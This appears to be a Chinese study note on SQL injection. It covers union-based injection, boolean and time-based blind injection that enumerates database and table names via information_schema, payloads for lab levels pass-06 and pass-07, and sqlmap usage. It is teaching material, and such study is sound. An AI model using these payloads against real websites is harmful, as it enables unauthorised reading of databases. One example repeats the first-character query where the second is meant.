本文最后更新于 2022-01-13,文章内容可能已经过时。

显错注入流程

第一步 判断是否存在SQL漏洞

and 1=1 --> 条件成立,页面有查询结果
and 1=2 --> 条件不成立,页面没有查询结果

第二步 判断字段数 order by

order by 1 --> 有查询结果 --> 说明表里面有1列。
order by 2 --> 有查询结果 --> 说明表里面有2列。
order by 3 --> 有查询结果 --> 说明表里面有3列。
order by 4 --> 没有查询结果 --> 说明表里面只有3列。

第三步 判断回显点————显错注入

union select 1,2,3

第四步 判断数据

database()
version()

盲注

盲注如何判断

核心:(猜)
1=1 和 1=2 属于逻辑条件
当条件成立 --> 页面有查询结果
当条件不成立 --> 页面不会有查询结果
逆反:当页面没有查询结果 --> 条件不成立时

猜库名

length() # 作用:判断长度
length(database()) # 判断库名的长度
and length(database())=1 --> 页面没有查询结果,条件不成立 --> 库名长度!=1
and length(database())=12 --> 页面有查询结果,条件成立 --> 库名长度为12
substr('abcde',3,2) # 从第三个位置开始,裁剪两个字符 --> cd
and substr(database(),1,1) # 裁剪库名,从第一个位置裁剪一个 --> 裁剪库名的第一个字符出来
and substr(database(),1,1)='a' --> 页面没有查询结果,条件不成立 --> 库名第一个字符不是a
慢慢猜
and substr(database(),1,1)='k' --> 页面有查询结果,条件成立 --> 库名第一个字符是k
然后猜第二个字符
and substr(database(),1,1)='a' --> 页面有查询结果,条件成立 --> 库名第二个字符是a
猜十二个字符

布尔盲注:通过判断以及页面的显示来知道数据。
时间盲注:通过判断以及页面的时间来显示数据。
sleep() # 作用:让网站睡觉
if(1=1,2,3) -->很像三目运算符
if(length(database())=12,sleep(5),3)

猜表名

and length(select table_name from information_schema.tables where table_schema = database() limit 0,1) = 1
页面没有查询结果,条件不成立,表名长度不是1
......
and length(select table_name from information_schema.tables where table_schema = database() limit 0,1) = 6
页面有查询结果,条件成立,表明长度是6

表明的字符:
and substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)='l'
有数据,表名第一个字符是l

pass-06:
select * from news where id="1"
输入 " and length(database())=12 --+

pass-07:
' or 2-1=1 -- qwe

SQLMap:专用于SQL注入漏洞

python sqlmap.py -u "URL"
python sqlmap.py -u "URL"

# kali SQLMap工具,自带。
sqlmap -u "URL"